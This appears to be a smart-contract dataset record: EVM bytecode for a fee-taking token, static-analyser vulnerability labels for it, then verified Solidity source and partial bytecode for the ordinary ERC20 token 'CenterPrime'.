00a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200320691c38c50211049664ac58041748cf521f10a31a8c369cfc0b8d2fbcccac64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,269 |
0x467c28ce923bae4d3b5f57d5f45c57e7f9bb003e
|
/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
// SPDX-License-Identifier: MIT
//
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract CenterPrime is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'centerprime.tech ';
string private _symbol = 'CPX';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200